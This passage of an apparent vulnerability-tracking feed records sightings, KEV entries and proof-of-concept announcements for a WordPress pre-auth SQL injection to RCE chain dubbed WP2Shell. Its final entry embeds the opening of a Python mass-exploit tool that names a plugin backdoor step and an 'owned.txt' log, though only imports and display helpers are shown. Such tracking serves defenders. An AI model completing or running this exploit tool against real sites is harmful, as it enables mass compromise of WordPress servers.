\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0431\u044b\u0441\u0442\u0440\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u043d\u0430 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u0440\u0443\u043f\u043d\u043e\u0439 LLM.\n\n\u041f\u043e\u0437\u0436\u0435 \u0442\u043e\u0442 \u0436\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u044b ZyXEL GS1900 Smart Managed Switches, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-7273.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c GreyNoise, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c 996 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 48 \u0441\u0442\u0440\u0430\u043d\u0430\u0445, \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u0441\u0435\u0442\u0435\u0432\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u0445\u0435\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 root. \u0418\u0437 \u044d\u0442\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c 564 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.", "url": "https://t.me/true_secator/8640"}, {"timestamp": "2026-09-23T20:00:01Z", "date_only": false, "value": "2026-09-23T20:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "enisa-cnw-kev", "record": "CVE-2026-60137", "field": "timestamps.recorded_at", "uuid": "f656b1ad-f560-4fb9-a97c-0d82befc49fc", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-23T20:00:02.927Z", "date_only": false, "value": "2026-09-23T20:00:02.927848Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f656b1ad-f560-4fb9-a97c-0d82befc49fc", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "6f2cbd48-5b40-4cfe-a99d-c3652d1421e3", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f656b1ad-f560-4fb9-a97c-0d82befc49fc"}, {"timestamp": "2026-09-24T01:04:42Z", "date_only": false, "value": "2026-09-24T01:04:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103182", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "55be7e1a-6810-4fe4-a30d-3df6f2e7ee9b", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fl0ydsec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-24 01:04:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWP2Shell - CVE-2026-63030 + CVE-2026-60137 WordPress Core pre-auth RCE mass exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103182"}, {"timestamp": "2026-09-24T01:04:42Z", "date_only": false, "value": "2026-09-24T01:04:42.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103182", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "f9621c95-fedd-439f-b5f4-1d5a4a18ce1c", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fl0ydsec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-24 01:04:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWP2Shell - CVE-2026-63030 + CVE-2026-60137 WordPress Core pre-auth RCE mass exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103182"}, {"timestamp": "2026-09-24T09:00:04Z", "date_only": false, "value": "2026-09-24T09:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/cjlcZTFFUyGrwljsqQ_tJDhKhIyBt5_Ycl19FfJ_ZRz-oCM", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "e472cdb5-7478-4a39-9740-ed98b2f53405"}, {"timestamp": "2026-09-24T09:00:04Z", "date_only": false, "value": "2026-09-24T09:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/cjlcZTFFUyGrwljsqQ_tJDhKhIyBt5_Ycl19FfJ_ZRz-oCM", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9124a444-b68c-4da5-8fd2-737307a8bf47"}, {"timestamp": "2026-09-27T14:00:07Z", "date_only": false, "value": "2026-09-27T14:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103539", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "28e00b43-4a77-4e49-a930-fbfc31a9f009", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030-60137-wp2shell-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jed-parsec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-27 13:28:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated SQL injection PoC and vulnerable lab environment for WP2Shell (CVE-2026-63030 + CVE-2026-60137) \u2014 a WordPress REST API batch route confusion chained into a WP_Query SQL injection. Includes Docker Compose lab setup and a Python exploitation script. For authorized security research only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103539"}, {"timestamp": "2026-09-27T21:00:04Z", "date_only": false, "value": "2026-09-27T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/3c9srXY8de1OJkBnfqEEqOhTsR2WGThzUoLs-q4hUEIXmM0", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d4f5499f-9eb1-4f10-b571-7bf833d5aa5f"}, {"timestamp": "2026-09-27T21:00:04Z", "date_only": false, "value": "2026-09-27T21:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/3c9srXY8de1OJkBnfqEEqOhTsR2WGThzUoLs-q4hUEIXmM0", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c1e0cfec-1b1a-401e-ac33-1c5bd2970a09"}, {"timestamp": "2026-09-27T21:16:46.728Z", "date_only": false, "value": "2026-09-27T21:16:46.728752Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mwjpvrz2qr22", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "412b3052-f31e-4b7a-82ed-7a9bdc575fd2", "content": "\ud83e\udd16 WP2Shell: WordPress CVE-2026-63030 (REST API batch route confusion) + CVE-2026-60137 (WP_Query author__not_in SQLi) chain into unauth SQLi\u2192RCE, CVSS 9.8. Fixed in 6.9.5/7.0.2. PoC lab:\nhttps://github.com/jed-parsec/CVE-2026-63030-60137-wp2shell-lab", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mwjpvrz2qr22"}, {"timestamp": "2026-09-29T17:00:07Z", "date_only": false, "value": "2026-09-29T17:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103783", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "947d6b33-969b-457e-b70a-26becf889e51", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell--CVE-2026-63030-CVE-2026-60137-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a MRdark-ops\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-29 16:29:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated SQL injection PoC and vulnerable lab environment for WP2Shell (CVE-2026-63030 + CVE-2026-60137) \u2014 a WordPress REST API batch route confusion chained into a WP_Query SQL injection. Includes Docker Compose lab setup and a Python exploitation script. For authorized security research only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103783"}, {"timestamp": "2026-09-29T17:00:07Z", "date_only": false, "value": "2026-09-29T17:00:07.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103783", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "cfad615f-77e9-4ef4-b452-0f889e9974f9", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell--CVE-2026-63030-CVE-2026-60137-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a MRdark-ops\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-29 16:29:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated SQL injection PoC and vulnerable lab environment for WP2Shell (CVE-2026-63030 + CVE-2026-60137) \u2014 a WordPress REST API batch route confusion chained into a WP_Query SQL injection. Includes Docker Compose lab setup and a Python exploitation script. For authorized security research only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103783"}, {"timestamp": "2026-09-30T03:00:06Z", "date_only": false, "value": "2026-09-30T03:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/W6KIGBKNkvsXlzUZXWVH9IksVZHdVGt-ZVnKWZr-SExOhZ8", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "3443bbe4-36b4-47f7-b4d4-7743104e0a08"}, {"timestamp": "2026-09-30T03:00:06Z", "date_only": false, "value": "2026-09-30T03:00:06.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/W6KIGBKNkvsXlzUZXWVH9IksVZHdVGt-ZVnKWZr-SExOhZ8", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "35b9d4c2-3565-41c2-99f2-387a8e5a1124"}, {"timestamp": "2026-10-03T19:00:08Z", "date_only": false, "value": "2026-10-03T19:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/104208", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c2837eaa-3d4a-4869-9684-6902645b1d10", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a hitechcloud-vietnam\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-10-03 18:49:41\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/104208"}, {"timestamp": "2026-10-03T19:00:08Z", "date_only": false, "value": "2026-10-03T19:00:08.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/104208", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "1cc0d8fc-fab4-4250-be09-3110266960e3", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a hitechcloud-vietnam\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-10-03 18:49:41\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/104208"}, {"timestamp": "2026-10-04T03:00:04Z", "date_only": false, "value": "2026-10-04T03:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/8xTYIpWU8NHpgVLmZ1lNuQy1JM2CdmT9IiEbO-11gD6ffZ0", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8ed677ac-cb6d-4bd4-93e3-9325b319f0a6"}, {"timestamp": "2026-10-04T03:00:04Z", "date_only": false, "value": "2026-10-04T03:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/8xTYIpWU8NHpgVLmZ1lNuQy1JM2CdmT9IiEbO-11gD6ffZ0", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c9671961-e86c-4441-a062-290f9bddced6"}, {"timestamp": "2026-10-05T07:10:22.059Z", "date_only": false, "value": "2026-10-05T07:10:22.059753Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mx4ednurcb25", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d1653fe2-ebb4-41d1-b384-22763636c5d6", "content": "CVE-2026-60137 is trending. Hype score 7, currently #8 on cvemon.\n\nWordPress 6.8.x before 6.8.6, 6.9.x before 6.9.5, and 7.0.x before 7.0.2 does not properly sanitise the author__not_in parameter of WP_Query, which could allow SQL Injection when a\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-60137", "url": "https://bsky.app/profile/cvemon.bsky.social/post/3mx4ednurcb25"}, {"timestamp": "2026-10-07T17:00:07Z", "date_only": false, "value": "2026-10-07T17:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/104571", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "31857822-d484-4c1e-a6c4-b943cbea0f72", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a manpisetsu\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-10-07 16:51:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 + CVE-2026-60137 exploit RCE chain\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/104571"}, {"timestamp": "2026-10-07T18:16:21.040Z", "date_only": false, "value": "2026-10-07T18:16:21.040Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2026-60137", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-10-07T18:16:21.040Z", "date_only": false, "value": "2026-10-07T18:16:21.040Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-60137", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-10-08T03:00:05Z", "date_only": false, "value": "2026-10-08T03:00:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/rKD7aTXmU8rmpJnqvlRqgqPKMURUCH8RvOSayxu8507-eEM", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "2c158872-20f8-45a6-9c34-13faccf21ab6"}, {"timestamp": "2026-10-08T09:04:49.683Z", "date_only": false, "value": "2026-10-08T09:04:49.683Z", "kind": "other", "label": "Updated", "source": "bitnami_vulndb \u00b7 BIT-WORDPRESS-2026-60137", "record": "BIT-WORDPRESS-2026-60137", "field": "modified"}, {"timestamp": "2026-10-08T10:35:47.777Z", "date_only": false, "value": "2026-10-08T10:35:47.777", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-60137", "record": "FKIE_CVE-2026-60137", "field": "lastModified"}, {"timestamp": "2026-10-10T12:09:27Z", "date_only": false, "value": "2026-10-10T12:09:27.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/8AOClcwsQWylKuX4yfZ5PseHzo_BEF2Q8zcbaAGSYI2FbJU", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "da58ec94-acbf-4f1d-89b2-c0746c2c3074"}, {"timestamp": "2026-10-10T12:09:27Z", "date_only": false, "value": "2026-10-10T12:09:27.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/8AOClcwsQWylKuX4yfZ5PseHzo_BEF2Q8zcbaAGSYI2FbJU", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "4889992c-767b-4ad3-bd13-7666df4c8cd8"}, {"timestamp": "2026-10-13T17:44:44Z", "date_only": false, "value": "2026-10-13T17:44:44.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/roccxoubt-gif/cce148a8d885da0db87ed05e20213518", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "b3b6c1ca-df9c-44ae-bbf1-6b8abebfed0a", "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# CyphrSec WP2Shell v7.1 - CVE-2026-63030 + CVE-2026-60137\n# WordPress Core pre-auth RCE: REST batch route confusion + SQLi\n# Chain: route confusion -> SQLi -> UNION admin bridge -> plugin backdoor -> RCE\n#\n# by CyphrSec (Cyp1337) - https://github.com/0xCyp1337\n# tg: https://t.me/kingepepp\nfrom __future__ import annotations\n\nimport argparse\nimport concurrent.futures\nimport csv\nimport dataclasses\nimport datetime as dt\nimport hashlib\nimport html\nimport http.cookiejar\nimport io\nimport json\nimport os\nimport random\nimport re\nimport secrets\nimport shutil\nimport socket\nimport ssl\nimport statistics\nimport string\nimport sys\nimport threading\nimport time\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nimport uuid\nimport zipfile\nfrom collections import Counter\nfrom dataclasses import dataclass, field\nfrom pathlib import Path\nfrom typing import Any, Dict, Iterable, List, Mapping, Optional, Sequence, Set, Tuple, Union\n\n\nif sys.platform == \"win32\":\n    try:\n        sys.stdout.reconfigure(encoding=\"utf-8\", errors=\"replace\")\n        sys.stderr.reconfigure(encoding=\"utf-8\", errors=\"replace\")\n    except Exception:\n        pass\n\nif os.name == \"nt\":\n    try:\n        os.system(\"\")\n    except Exception:\n        pass\n\n_STDOUT_ISATTY = bool(sys.stdout.isatty())\n_ANSI = False\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  MODERN PURPLE PALETTE\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef _paint(code: str, text: str) -> str:\n    if not _ANSI:\n        return text\n    return f\"\\033[{code}m{text}\\033[0m\"\n\n\ndef purple(t: str) -> str:    return _paint(\"38;5;141\", t)\ndef deep(t: str) -> str:      return _paint(\"38;5;99\", t)\ndef violet(t: str) -> str:    return _paint(\"1;38;5;135\", t)\ndef pink(t: str) -> str:      return _paint(\"1;38;5;213\", t)\ndef magenta(t: str) -> str:   return _paint(\"1;38;5;201\", t)\ndef cyan(t: str) -> str:      return _paint(\"1;38;5;51\", t)\ndef mint(t: str) -> str:      return _paint(\"1;38;5;121\", t)\ndef lime(t: str) -> str:      return _paint(\"1;38;5;46\", t)\ndef amber(t: str) -> str:     return _paint(\"1;38;5;220\", t)\ndef coral(t: str) -> str:     return _paint(\"1;38;5;203\", t)\ndef lav(t: str) -> str:       return _paint(\"38;5;183\", t)\ndef white(t: str) -> str:     return _paint(\"1;97\", t)\ndef gray(t: str) -> str:      return _paint(\"38;5;245\", t)\ndef dim(t: str) -> str:       return _paint(\"2\", t)\n\n\ndef _ts() -> str:\n    \"\"\"Short HH:MM:SS timestamp for logs / owned.txt lines.\"\"\"\n    return dt.datetime.now().strftime(\"%H:%M:%S\")\n\n\n# Semantic aliases\ngreen = mint\nred = coral\nyellow = amber\nblue = cyan\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  BOX DRAWING HELPERS \u2014 auto-aligned\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n_BOX_W = 80\n_ANSI_RE = re.compile(r\"\\x1b\\[[0-9;]*m\")\n\n\ndef _vis(s: str) -> int:\n    \"\"\"Visible width of a string (ignoring ANSI color codes).\"\"\"\n    return len(_ANSI_RE.sub(\"\", s))\n\n\ndef _pad_vis(s: str, width: int) -> str:\n    \"\"\"Right-pad s so its visible width matches width.\"\"\"\n    diff = width - _vis(s)\n    if diff <= 0:\n        return s\n    return s + (\" \" * diff)\n\n\ndef box_top(title: str) -> str:\n    \"\"\"\u256d\u2500 TITLE \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\"\"\"\n    head = \"\u256d\u2500 \" + title + \" \"\n    n = _BOX_W - _vis(head) - 1\n    if n < 0:\n        n = 0\n    return violet(head) + violet(\"\u2500\" * n) + violet(\"\u256e\")\n\n\ndef box_mid() -> str:\n    \"\"\"\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\"\"\"\n    return violet(\"\u251c\" + (\"\u2500\" * (_BOX_W - 2)) + \"\u2524\")\n\n\ndef box_bot() -> str:\n    \"\"\"\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\"\"\"\n    return violet(\"\u2570\" + (\"\u2500\" * (_BOX_W - 2)) + \"\u256f\")\n\n\ndef box_line(content: str = \"\") -> str:\n    \"\"\"\u2502 content padded to fit \u2502\"\"\"\n    return violet(\"\u2502\") + 